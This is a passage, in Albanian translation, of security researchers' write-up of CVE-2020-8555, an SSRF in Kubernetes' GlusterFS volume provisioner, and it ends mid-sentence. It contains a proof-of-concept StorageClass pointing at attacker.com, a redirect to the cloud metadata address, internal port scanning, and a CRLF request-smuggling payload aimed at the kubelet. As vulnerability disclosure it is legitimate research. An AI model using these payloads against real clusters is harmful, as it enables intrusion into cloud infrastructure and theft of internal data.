{"id":86623,"date":"2020-06-27T19:42:40","date_gmt":"2020-06-27T17:42:40","guid":{"rendered":"https:\/\/prohoster.info\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes"},"modified":"2020-06-27T19:42:40","modified_gmt":"2020-06-27T17:42:40","slug":"kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","title":{"rendered":"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"<p><i><b>Sh\u00ebn. p\u00ebrkth.<\/b>: autor\u00ebt e k\u00ebtij artikulli tregojn\u00eb n\u00eb detaje se si arrit\u00ebn t\u00eb zbulojn\u00eb nj\u00eb dob\u00ebsi <noindex><a rel=\"nofollow\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex> n\u00eb Kubernetes. Edhe pse fillimisht dukej e pak\u00ebt rrezikshme, n\u00eb kombinim me faktor\u00eb t\u00eb tjer\u00eb, r\u00ebnd\u00ebsia e saj ishte maksimale p\u00ebr disa ofrues sh\u00ebrbimesh cloud. Pjesa e pun\u00ebs s\u00eb specialist\u00ebve u shp\u00ebrblye bujsh\u00ebm nga disa organizata.<\/i><\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/95f376b0e06a5454be2423bdab37f2ce.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<\/p>\n<h2>Kush jemi ne<\/h2>\n<p>\nNe jemi dy hulumtues francez t\u00eb siguris\u00eb q\u00eb zbuluan s\u00eb bashku nj\u00eb dob\u00ebsi n\u00eb Kubernetes. Na quajn\u00eb Brice Augras dhe Christophe Hauquiert, por n\u00eb shum\u00eb platforma Bug Bounty jemi t\u00eb njohur si Reeverzax dhe Hach p\u00ebrkat\u00ebsisht:<\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/reeverzax\">Brice Augras<\/a><\/noindex> \u2014 <noindex><a rel=\"nofollow\" href=\"https:\/\/www.groupe-asten.fr\/\">Groupe Asten Company<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/hackerone.com\/hach\">Christophe Hauquiert<\/a><\/noindex> \u2014 arkitekt Kubernetes n\u00eb Nokia.<\/li>\n<\/ul>\n<p><noindex><a rel=\"nofollow\" name=\"habracut\"><\/a><\/noindex><\/p>\n<h2>\u00c7far\u00eb ndodhi?<\/h2>\n<p>\nKy artikull \u00ebsht\u00eb m\u00ebnyra jon\u00eb p\u00ebr t\u00eb treguar se si nj\u00eb projekt i zakonsh\u00ebm hulumtues papritur u shnd\u00ebrrua n\u00eb aventur\u00ebn m\u00eb emocionuese t\u00eb jet\u00ebs s\u00eb gjuetar\u00ebve t\u00eb bugs (t\u00eb pakt\u00ebn p\u00ebr momentin).<\/p>\n<p>Si\u00e7 e dini, gjuetar\u00ebt e bugs kan\u00eb disa ve\u00e7ori t\u00eb dukshme:<\/p>\n<ul>\n<li> ata jetojn\u00eb me pica dhe birr\u00eb;<\/li>\n<li> ata punojn\u00eb kur t\u00eb tjer\u00ebt flen\u00eb.<\/li>\n<\/ul>\n<p>\nNe nuk jemi p\u00ebrjashtim nga k\u00ebto rregulla: zakonisht takohemi n\u00eb fundjav\u00eb dhe kalojm\u00eb net\u00eb pa gjum\u00eb duke hakuar. Por nj\u00eb nga k\u00ebto net\u00eb p\u00ebrfundoi mjaft ndryshe.<\/p>\n<p>Fillimisht, ne pat\u00ebm n\u00eb plan t\u00eb takohemi p\u00ebr t\u00eb diskutuar pjes\u00ebmarrjen n\u00eb <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Capture_the_flag#Computer_security\">CTF<\/a><\/noindex> t\u00eb nes\u00ebrmen. Gjat\u00eb bised\u00ebs mbi sigurin\u00eb e Kubernetes n\u00eb nj\u00eb mjedis sh\u00ebrbimi t\u00eb menaxhuar, p\u00ebrmend\u00ebm nj\u00eb ide t\u00eb vjet\u00ebr p\u00ebr SSRF (<noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Server-side_request_forgery\">Server-Side Request Forgery<\/a><\/noindex>) dhe vendos\u00ebm ta provojm\u00eb at\u00eb si skenar sulmi.<\/p>\n<p>N\u00eb or\u00ebn 11 t\u00eb mbr\u00ebmjes filluam hulumtimin dhe shkuam p\u00ebr t\u00eb fjetur her\u00ebt n\u00eb m\u00ebngjes, mjaft t\u00eb k\u00ebnaqur me rezultatet. Pik\u00ebrisht p\u00ebrmes k\u00ebtyre hulumtimeve ne has\u00ebm n\u00eb programin MSRC Bug Bounty dhe shpik\u00ebm nj\u00eb exploit p\u00ebr rritjen e privilegjeve.<\/p>\n<p>Kaluan disa jav\u00eb\/muaj dhe rezultati yn\u00eb i papritur na ndihmoi t\u00eb fitonim nj\u00eb nga shp\u00ebrblimet m\u00eb t\u00eb larta n\u00eb histori t\u00eb Azure Cloud Bug Bounty \u2014 p\u00ebrve\u00e7 atij q\u00eb mor\u00ebm nga Kubernetes!<\/p>\n<p>N\u00eb baz\u00eb t\u00eb projektit ton\u00eb hulumtues, komiteti i Siguris\u00eb s\u00eb Produktit Kubernetes publikoi <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020\u20138555<\/a><\/noindex>.<\/p>\n<p>Tani d\u00ebshirojm\u00eb ta shp\u00ebrndajm\u00eb sa m\u00eb shum\u00eb informacion mbi dob\u00ebsin\u00eb e zbuluar. Shpresojm\u00eb q\u00eb ta vler\u00ebsoni gjetjen dhe ta ndani informacionin teknik me an\u00ebtar\u00ebt e tjer\u00eb t\u00eb komunitetit infosec!<\/p>\n<p>K\u00ebshtu, ja historia jon\u00eb\u2026<\/p>\n<h2>Konteksti<\/h2>\n<p>\nP\u00ebr ta d\u00ebshmuar sa m\u00eb plot\u00ebsisht kuptimin e ndodhi, le t\u00eb shqyrtojm\u00eb s\u00eb pari se si funksionon Kubernetes n\u00eb nj\u00eb mjedis t\u00eb menaxhuar n\u00eb re.<\/p>\n<p>Kur krijoni nj\u00eb instanc\u00eb t\u00eb klasterit Kubernetes n\u00eb nj\u00eb mjedis t\u00eb till\u00eb, akoma p\u00ebrgjegj\u00ebsin\u00eb e shtres\u00ebs menaxhuese e merr ofruesi i sh\u00ebrbimeve n\u00eb re:<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c562ba625208180d495068ec46055a07.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Shtresa menaxhuese ndodhet n\u00eb periferi t\u00eb ofruesit t\u00eb sh\u00ebrbimeve n\u00eb re, nd\u00ebrsa nyjat e Kubernetes ndodhen n\u00eb periferi t\u00eb klientit.<\/i><\/p>\n<p>P\u00ebr alokimin dinamik t\u00eb volumen\u00ebve p\u00ebrdoret mekanizmi i furnizimit t\u00eb tyre dinamik nga nj\u00eb backend storage t\u00eb jashtme dhe p\u00ebrputhja me PVC (k\u00ebrkesa p\u00ebr volum t\u00eb p\u00ebrhersh\u00ebm).<\/p>\n<p>Prandaj, pasi PVC t\u00eb krijohet dhe t\u00eb lidhet me StorageClass n\u00eb klastr\u00ebn K8s, menaxhimi i m\u00ebtejsh\u00ebm i ofrimit t\u00eb v\u00ebllimit merr p\u00ebrsip\u00ebr kube\/cloud controller manager (emri i sakt\u00eb varet nga l\u00ebshimi). <i>(<b>Sh\u00ebn. p\u00ebrkth.<\/b>: M\u00eb shum\u00eb rreth CCM me shembuj t\u00eb zbatimit t\u00eb tij p\u00ebr nj\u00eb nga ofruesit e sh\u00ebrbimeve n\u00eb re, ne kemi shkruar tashm\u00eb. <noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/490356\/\">k\u00ebtu<\/a><\/noindex>.)<\/i><\/p>\n<p>Ekzistojn\u00eb disa lloje provisioner-\u00ebsh, t\u00eb mb\u00ebshtetur nga Kubernetes: shumica e tyre jan\u00eb t\u00eb p\u00ebrfshira n\u00eb <noindex><a rel=\"nofollow\" href=\"https:\/\/kubernetes.io\/docs\/concepts\/storage\/storage-classes\/#provisioner\">thelb t\u00eb orkestratorit,<\/a><\/noindex>, nd\u00ebrsa t\u00eb tjer\u00ebt administrohen nga provisioner shtes\u00eb t\u00eb vendosur n\u00eb pod n\u00eb klastra.<\/p>\n<p>N\u00eb studimin ton\u00eb, ne u p\u00ebrq\u00ebndruam n\u00eb mekanizmin e brendsh\u00ebm t\u00eb furnizimit t\u00eb volumen\u00ebve, t\u00eb ilustruar m\u00eb posht\u00eb:<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/3056d943a6f41ebc71fe9e7852bf4530.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Ofrimi dinamik i v\u00ebllimeve duke p\u00ebrdorur provisioner-in e integruar t\u00eb Kubernetes<\/i><\/p>\n<p>N\u00eb p\u00ebrmbledhje, kur Kubernetes \u00ebsht\u00eb implementuar n\u00eb nj\u00eb ambient t\u00eb menaxhuar, funksionimi i controller manager-it \u00ebsht\u00eb p\u00ebrgjegj\u00ebsi e ofruesit t\u00eb sh\u00ebrbimit t\u00eb cloud, por k\u00ebrkesa p\u00ebr krijimin e v\u00ebllimit (numri 3 n\u00eb skem\u00ebn e m\u00ebsip\u00ebrme) largohet nga kufijt\u00eb e rrjetit t\u00eb brendsh\u00ebm t\u00eb ofruesit t\u00eb cloud. Dhe k\u00ebtu situata b\u00ebhet me t\u00eb v\u00ebrtet\u00eb interesante!<\/p>\n<h2>Scenario i shkeljes.<\/h2>\n<p>\nN\u00eb k\u00ebt\u00eb seksion, do t\u00eb tregojm\u00eb se si p\u00ebrfituam nga procesi i p\u00ebrmendur m\u00eb par\u00eb dhe fituam akses n\u00eb burimet e brendshme t\u00eb ofruesit t\u00eb sh\u00ebrbimeve n\u00eb re. Gjithashtu, do t\u00eb ilustrojm\u00eb se si mund t\u00eb kryeni disa veprime \u2014 p\u00ebr shembull, t\u00eb merrni akreditiv\u00ebt e brendsh\u00ebm ose t\u00eb kryeni nj\u00eb shkall\u00ebzim privilegji.<\/p>\n<p>Nj\u00eb manipulim i thjesht\u00eb (n\u00eb k\u00ebt\u00eb rast \u00ebsht\u00eb Service Side Request Forgery) ndihmoi q\u00eb t\u00eb delim jasht\u00eb ambientit t\u00eb klientit n\u00eb klasteret e ofruesve t\u00eb ndrysh\u00ebm t\u00eb sh\u00ebrbimeve K8s t\u00eb menaxhuara.<\/p>\n<p>N\u00eb k\u00ebrkimet tona, p\u00ebrqendruam v\u00ebmendjen n\u00eb provisioner-in GlusterFS. Edhe pse renditja e m\u00ebtejshme e veprimeve \u00ebsht\u00eb p\u00ebrshkruar n\u00eb nj\u00eb kontekst t\u00eb till\u00eb, k\u00ebsaj dob\u00ebsie i n\u00ebnshtrohen gjithashtu Quobyte, StorageOS dhe ScaleIO.<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/f604aa1880c0edd5efe52a3362d6929d.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>Abuzimi me mekanizmin e ofrimit dinamik t\u00eb volumes.<\/i><\/p>\n<p>Gjat\u00eb analiz\u00ebs s\u00eb klasave t\u00eb ruajtjes. <b>GlusterFS<\/b> n\u00eb kodin burimor t\u00eb klientit n\u00eb Golang ne <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">u v\u00ebrejt<\/a><\/noindex>, \u00e7ka n\u00eb k\u00ebrkes\u00ebn e par\u00eb HTTP (3), e d\u00ebrguar gjat\u00eb krijimit t\u00eb volumes, n\u00eb fundin e URL-s\u00eb s\u00eb p\u00ebrdoruesit n\u00eb parametrin <code>resturl<\/code> informacioni i nj\u00ebjt\u00eb si p\u00ebr kontrat\u00ebn normale. <code>\/volumes<\/code>.<\/p>\n<p>Vendos\u00ebm t\u00eb heqim k\u00ebt\u00eb rrug\u00eb shtes\u00eb duke shtuar <code>#<\/code> n\u00eb parametrin <code>resturl<\/code>. Ja konfiguracioni i par\u00eb YAML q\u00eb p\u00ebrdor\u00ebm p\u00ebr t\u00eb verifikuar ekzistenc\u00ebn e vulnerabilitetit \"semi-blind\" SSRF <i>(m\u00eb shum\u00eb rreth semi-blind ose half-blind SSRF mund t\u00eb lexoni p.sh., <noindex><a rel=\"nofollow\" href=\"https:\/\/blog.securityinnovation.com\/the-many-faces-of-ssrf\">k\u00ebtu<\/a><\/noindex> \u2014 sh\u00ebn. p\u00ebrkth.)<\/i>:<\/p>\n<pre><code class=\"plaintext\">apiVersion: storage.k8s.io\/v1\nkind: StorageClass\nmetadata:\n  name: poc-ssrf\nprovisioner: kubernetes.io\/glusterfs\nparameters:\n  resturl: \"http:\/\/attacker.com:6666\/#\"\n---\napiVersion: v1\nkind: PersistentVolumeClaim\nmetadata:\n  name: poc-ssrf\nspec:\n  accessModes:\n  - ReadWriteOnce\n  volumeMode: Filesystem\n  resources:\n    requests:\n      storage: 8Gi\n  storageClassName: poc-ssrf<\/code><\/pre>\n<p>\nM\u00eb pas, p\u00ebr menaxhimin e larg\u00ebt t\u00eb klasterit Kubernetes, p\u00ebrdor\u00ebm binarin <b>kubectl<\/b>. Zakonisht, ofruesit e sh\u00ebrbimeve cloud (Azure, Google, AWS etj.) lejojn\u00eb marrjen e kredencialeve p\u00ebr t'u p\u00ebrdorur n\u00eb k\u00ebt\u00eb utilitar.<\/p>\n<p>Fal\u00eb k\u00ebsaj, arrit\u00ebm t\u00eb aplikonim skedarin ton\u00eb \"special\". Kube-controller-manager kreu k\u00ebrkes\u00ebn rezultuese HTTP:<\/p>\n<pre><code class=\"bash\">kubectl create -f sc-poc.yaml<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/c520fcff82519a1f7bb3fd2bdc6b79e0.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<i>P\u00ebrgjigjia nga k\u00ebndv\u00ebshtrimi i sulmuesit.<\/i><\/p>\n<p>Pak pas k\u00ebsaj, ne gjithashtu arrit\u00ebm t\u00eb merrnim p\u00ebrgjigjen HTTP nga serveri i synuar \u2014 p\u00ebrmes komandave <code>describe pvc<\/code> ose <code>get events<\/code> n\u00eb kubectl. Dhe v\u00ebrtet: ky drejtues i Kubernetes ishte shum\u00eb i z\u00ebsh\u00ebm n\u00eb paralajm\u00ebrimet \/ mesazhet e veta p\u00ebr gabimet...<\/p>\n<p>Ja nj\u00eb shembull me nj\u00eb lidhje n\u00eb <code>https:\/\/www.google.fr<\/code>, e cila ishte vendosur si parametr <code>resturl<\/code>:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc poc-ssrf\n# ose mund t\u00eb p\u00ebrdorni kubectl get events<\/code><\/pre>\n<p>\n<img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/1b859d606de4bd6ed8114024f84e4799.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nN\u00eb kuad\u00ebr t\u00eb k\u00ebtij qasje ne ishim t\u00eb kufizuar n\u00eb k\u00ebrkesa t\u00eb tipit <b>HTTP POST<\/b> dhe nuk mund\u00ebm t\u00eb merrnim p\u00ebrmbajtjen e trupit t\u00eb p\u00ebrgjigjes n\u00ebse kodi i kthyer ishte <b>201<\/b>. Prandaj, vendos\u00ebm t\u00eb kryenim hetime t\u00eb m\u00ebtejshme dhe t\u00eb zgjerojm\u00eb k\u00ebt\u00eb skenar sulmi me qasje t\u00eb reja.<\/p>\n<h2>Evolucioni i k\u00ebrkimeve tona.<\/h2>\n<p><\/p>\n<ul>\n<li> Skenari i avancuar Nr. 1: p\u00ebrdorimi i ridirektit 302 nga nj\u00eb server i jasht\u00ebm p\u00ebr t\u00eb ndryshuar metod\u00ebn HTTP, p\u00ebr t\u00eb marr\u00eb nj\u00eb m\u00ebnyr\u00eb m\u00eb t\u00eb fleksib\u00ebl p\u00ebr t\u00eb mbledhur t\u00eb dh\u00ebna t\u00eb brendshme.<\/li>\n<li> Skenari i avancuar Nr. 2: automatizimi i skanimit LAN dhe zbulimi i burimeve t\u00eb brendshme.<\/li>\n<li> Skema e avancuar nr. 3: p\u00ebrdorimi i HTTP CRLF + smuggling (\"kontrabanda\" e k\u00ebrkesave) p\u00ebr t\u00eb krijuar k\u00ebrkesa HTTP t\u00eb personalizuara dhe p\u00ebr t\u00eb nxjerr\u00eb t\u00eb dh\u00ebnat e marra nga log-et e kube-controller-it.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Specifikimet Teknike<\/h3>\n<p><\/p>\n<ul>\n<li> N\u00eb hulumtime u p\u00ebrdor Azure Kubernetes Service (AKS) me Kubernetes version 1.12 n\u00eb rajonin Europa Veriore.<\/li>\n<li> Skemat e p\u00ebrmendura m\u00eb sip\u00ebr u ekzekutuan n\u00eb versionet e fundit t\u00eb Kubernetes p\u00ebrve\u00e7 skem\u00ebs s\u00eb tret\u00eb, pasi ajo k\u00ebrkonte Kubernetes t\u00eb nd\u00ebrtuar me Golang version \u2264 1.12.<\/li>\n<li> Serveri i jasht\u00ebm i sulmuesit \u2014 <code>https:\/\/attacker.com<\/code>.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Skema Avancuar Nr. 1: ridrejtimi i k\u00ebrkes\u00ebs HTTP POST n\u00eb GET dhe marrja e t\u00eb dh\u00ebnave t\u00eb ndjeshme<\/h3>\n<p>\nMetoda origjinale u p\u00ebrmir\u00ebsua me konfigurimin e serverit t\u00eb sulmuesit p\u00ebr t'u kthyer <b>302 HTTP Retcode<\/b>, p\u00ebr t\u00eb konvertuar k\u00ebrkes\u00ebn POST n\u00eb k\u00ebrkes\u00ebn GET (hapi 4 n\u00eb skem\u00eb):<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/2b8d0a7dfdc2df8e674acfc82a4cd070.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nK\u00ebrkesa e par\u00eb (3), q\u00eb vjen nga klienti <b>GlusterFS<\/b> (Controller Manager), ka llojin POST. Pas p\u00ebrfundimit t\u00eb hapave t\u00eb m\u00ebposht\u00ebm, ne arrit\u00ebm ta kthenim at\u00eb n\u00eb GET:<\/p>\n<ul>\n<li> Si parametrin <code>resturl<\/code> n\u00eb StorageClass p\u00ebrcaktohet <code>http:\/\/attacker.com\/redirect.php<\/code>.<\/li>\n<li> Fundi i pik\u00ebs <code>https:\/\/attacker.com\/redirect.php<\/code> p\u00ebrgjigjet me status-kodin 302 HTTP me headerin Location si m\u00eb posht\u00eb: <code>http:\/\/169.254.169.254<\/code>. Kjo mund t\u00eb jet\u00eb \u00e7do burim tjet\u00ebr i brendsh\u00ebm \u2014 n\u00eb k\u00ebt\u00eb rast lidhja e ridrejtimit p\u00ebrdoret ekskluzivisht si shembull.<\/li>\n<li> M\u00eb n\u00eb default <b>biblioteka net\/http<\/b> Golang-i redirekton k\u00ebrkes\u00ebn dhe e konverton POST-in n\u00eb GET me status-kodin 302, duke rezultuar n\u00eb nj\u00eb k\u00ebrkes\u00eb HTTP GET q\u00eb arrin n\u00eb burimin e synuar.<\/li>\n<\/ul>\n<p>\nP\u00ebr t\u00eb lexuar trupin e p\u00ebrgjigjes HTTP, duhet t\u00eb b\u00ebni <code>p\u00ebrshkruaj<\/code> objekti PVC:<\/p>\n<pre><code class=\"bash\">kubectl describe pvc xxx<\/code><\/pre>\n<p>\nJa nj\u00eb shembull i p\u00ebrgjigjes HTTP n\u00eb formatin JSON q\u00eb arrit\u00ebm ta merrnim:<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/d2f76aec3ac9d31c99426551d77fc969.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nKraftet e njohur t\u00eb vulneraibilitetit at\u00ebher\u00eb ishin t\u00eb kufizuara p\u00ebr shkak t\u00eb pikave t\u00eb m\u00ebposhtme:<\/p>\n<ul>\n<li> Pamund\u00ebsia p\u00ebr t\u00eb vendosur headers HTTP n\u00eb k\u00ebrkes\u00ebn e daljes.<\/li>\n<li> Pamund\u00ebsia p\u00ebr t\u00eb ekzekutuar nj\u00eb k\u00ebrkes\u00eb POST me parameter n\u00eb trup (n\u00eb k\u00ebt\u00eb m\u00ebnyr\u00eb \u00ebsht\u00eb e leht\u00eb t\u00eb k\u00ebrkosh vler\u00ebn e \u00e7el\u00ebsit nga nj\u00eb instanc\u00eb etcd duke punuar n\u00eb <b>2379<\/b> port, n\u00ebse p\u00ebrdoret HTTP i pa-kriptuar).<\/li>\n<li> Pamund\u00ebsia p\u00ebr t\u00eb marr\u00eb p\u00ebrmbajtjen e trupit t\u00eb p\u00ebrgjigjes, kur kodi i statusit ishte 200 dhe p\u00ebrgjigja nuk kishte llojin e p\u00ebrmbajtjes JSON.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Skema Avancuar Nr. 2: skanimi i rrjetit lokal<\/h3>\n<p>\nKjo metod\u00eb half-blind SSRF m\u00eb pas u p\u00ebrdor p\u00ebr t\u00eb skanuar rrjetin e brendsh\u00ebm t\u00eb ofruesit t\u00eb sh\u00ebrbimeve t\u00eb cloud dhe p\u00ebr t\u00eb pyetur sh\u00ebrbimet e ndryshme q\u00eb kan\u00eb dallim (instanca Metadata, Kubelet, etcd etj.) mbi baz\u00ebn e p\u00ebrgjigjeve <b>kube controller-it<\/b>.<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/08b681f9a673e335a1955b08b0bddc9a.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nFillimisht u p\u00ebrcaktuan portet standarde t\u00eb d\u00ebgjimit t\u00eb komponent\u00ebve t\u00eb Kubernetes (8443, 10250, 10251 etj.), dhe m\u00eb pas duhej t\u00eb automatizohej procesi i skanimit.<\/p>\n<p>Duke par\u00eb se ky metod\u00eb skanimi e burimeve \u00ebsht\u00eb shum\u00eb specifike dhe e papajtueshme me skaner\u00ebt klasik\u00eb dhe mjetet SSRF, vendos\u00ebm t\u00eb krijojm\u00eb pun\u00ebtor\u00eb t\u00eb vetin n\u00eb nj\u00eb skenar bash, t\u00eb cilat automatizojn\u00eb gjith\u00eb procesin.<\/p>\n<p>P\u00ebr shembull, p\u00ebr t\u00eb skanuar m\u00eb shpejt gam\u00ebn 172.16.0.0\/12 t\u00eb rrjetit t\u00eb brendsh\u00ebm, u nis\u00ebn paralelisht 15 pun\u00ebtor\u00eb. Gama e IP-s\u00eb e p\u00ebrmendur m\u00eb sip\u00ebr u zgjodh thjesht si nj\u00eb shembull dhe mund t\u00eb ndryshohet n\u00eb nj\u00eb gam\u00eb IP t\u00eb ofruesit t\u00eb caktuar.<\/p>\n<p>P\u00ebr t\u00eb skanuar nj\u00eb adres\u00eb IP dhe nj\u00eb port, duhet t\u00eb b\u00ebni si m\u00eb posht\u00eb:<\/p>\n<ul>\n<li> t\u00eb hiqni StorageClass-in e verifikuar her\u00ebn e kaluar;<\/li>\n<li> t\u00eb hiqni k\u00ebrkes\u00ebn e m\u00ebparshme t\u00eb Volume-it t\u00eb P\u00ebrhersh\u00ebm;<\/li>\n<li> t\u00eb ndryshoni vlerat e IP-s\u00eb dhe Portit n\u00eb <code>sc.yaml<\/code>;<\/li>\n<li> t\u00eb krijoni StorageClass me IP-n\u00eb dhe portin e ri;<\/li>\n<li> t\u00eb krijoni nj\u00eb PVC t\u00eb ri;<\/li>\n<li> nxjerrni rezultatet e skanimit duke p\u00ebrdorur describe p\u00ebr PVC.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Scenari Avancuar \u21163: injeksioni CRLF + kalimi i HTTP n\u00eb versionet \"e vjetra\" t\u00eb klasterit Kubernetes<\/h3>\n<p>\nN\u00ebse, p\u00ebrve\u00e7 k\u00ebsaj, ofruesi ofronte klient\u00ebve versionet e vjetra t\u00eb klasterit K8s <b>dhe<\/b> u jepte atyre akses n\u00eb loget e kube-controller-manager-it, efekti b\u00ebhej edhe m\u00eb i duksh\u00ebm.<\/p>\n<p>K\u00ebrc\u00ebnuesit do t\u00eb kishin v\u00ebrtet m\u00eb shum\u00eb leht\u00ebsi p\u00ebr t\u00eb ndryshuar sipas d\u00ebshir\u00ebs k\u00ebrkesat HTTP, t\u00eb destinuara p\u00ebr marrjen e p\u00ebrgjigjes t\u00eb plot\u00eb HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/226ea08521a7bdf79cff1e550dda8f67.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nP\u00ebr realizimin e k\u00ebtij skenari t\u00eb fundit duhej t\u00eb ishin p\u00ebrmbushur kushtet si m\u00eb posht\u00eb:<\/p>\n<ul>\n<li> P\u00ebrdoruesi duhet t\u00eb ket\u00eb akses n\u00eb loget e kube-controller-manager (si, p\u00ebr shembull, n\u00eb Azure LogInsights).<\/li>\n<li> Klasteri Kubernetes duhet t\u00eb p\u00ebrdor\u00eb versionin e Golang-ut m\u00eb t\u00eb ul\u00ebt se 1.12.<\/li>\n<\/ul>\n<p>\nNe vendos\u00ebm nj\u00eb mjedis lokal q\u00eb imiton shk\u00ebmbimin e t\u00eb dh\u00ebnave nd\u00ebrmjet klientit Go GlusterFS dhe nj\u00eb server t\u00eb falsifikuar (p\u00ebr tani do t'i q\u00ebndrojm\u00eb larg publikimit t\u00eb PoC).<\/p>\n<p>U zbulua <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">vulnerabiliteti<\/a><\/noindex>, q\u00eb prekte versionet e Golang-ut m\u00eb t\u00eb ul\u00ebt se 1.12 dhe lejonte hacker\u00ebt t\u00eb kryejn\u00eb sulme t\u00eb tipit HTTP smuggling\/CRLF.<\/p>\n<p>Duke bashkuar SSRF-in e gjysm\u00eb-verifikuar t\u00eb p\u00ebrshkruar m\u00eb arriba <b>se bashku<\/b> me k\u00ebt\u00eb, ne ishim n\u00eb gjendje t\u00eb d\u00ebrgonim k\u00ebrkesa sipas d\u00ebshir\u00ebs son\u00eb, duke p\u00ebrfshir\u00eb z\u00ebvend\u00ebsimin e titujve, metod\u00ebs HTTP, parametrave dhe t\u00eb dh\u00ebnave q\u00eb kube-controller-manager-i pastaj i p\u00ebrpunonte.<\/p>\n<p>Ja nj\u00eb shembull i \"kurthit\" funksional n\u00eb parametrin <code>resturl<\/code> StorageClass-it q\u00eb implementon nj\u00eb skenar t\u00eb till\u00eb sulmi:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nSi rezultat, ndodh nj\u00eb gabim <b>p\u00ebrgjigje e paftuar<\/b>, mesazh i cili regjistrohet n\u00eb log-et e kontrollorit. Fal\u00eb \"mult\u00ebfol\u00ebsis\u00eb\" t\u00eb aktivizuar me t\u00eb drejt\u00eb, aty ruhet gjithashtu p\u00ebrmbajtja e p\u00ebrgjigjes HTTP.<\/p>\n<p><img decoding=\"async\" alt=\"Kur b\u00ebhet fjal\u00eb jo vet\u00ebm p\u00ebr nj\u00eb ndjeshm\u00ebri n\u00eb Kubernetes\u2026\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nKjo ishte \"pezhu\" m\u00eb e suksesshme brenda konceptit 